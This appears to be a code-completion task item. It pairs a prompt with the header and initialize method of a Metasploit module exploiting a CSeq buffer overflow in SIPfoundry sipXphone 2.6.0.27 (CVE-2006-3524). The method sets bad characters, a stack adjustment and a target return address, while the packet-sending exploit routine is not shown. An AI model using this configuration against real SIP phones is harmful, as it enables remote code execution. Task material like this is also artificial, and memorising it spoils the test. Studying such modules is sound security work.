You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: sipxphone_cseq.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/sip
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in SIPfoundry's
        sipXphone 2.6.0.27. By sending an overly long CSeq value,
        a remote attacker could overflow a buffer and execute
        arbitrary code on the system with the privileges of
        the affected application.
      },
      'Author'         => 'MC',
      'References'     =>
        [
          [ 'CVE', '2006-3524' ],
          [ 'OSVDB', '27122' ],
          [ 'BID', '18906' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 400,
          '
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in SIPfoundry's
        sipXphone 2.6.0.27. By sending an overly long CSeq value,
        a remote attacker could overflow a buffer and execute
        arbitrary code on the system with the privileges of
        the affected application.
      },
      'Author'         => 'MC',
      'References'     =>
        [
          [ 'CVE', '2006-3524' ],
          [ 'OSVDB', '27122' ],
          [ 'BID', '18906' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00\x0a\x20\x09\x0d",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'SIPfoundry sipXphone 2.6.0.27 Universal', { 'Ret' => 0x08016aac } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2006-07-10',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(5060)
      ])
  end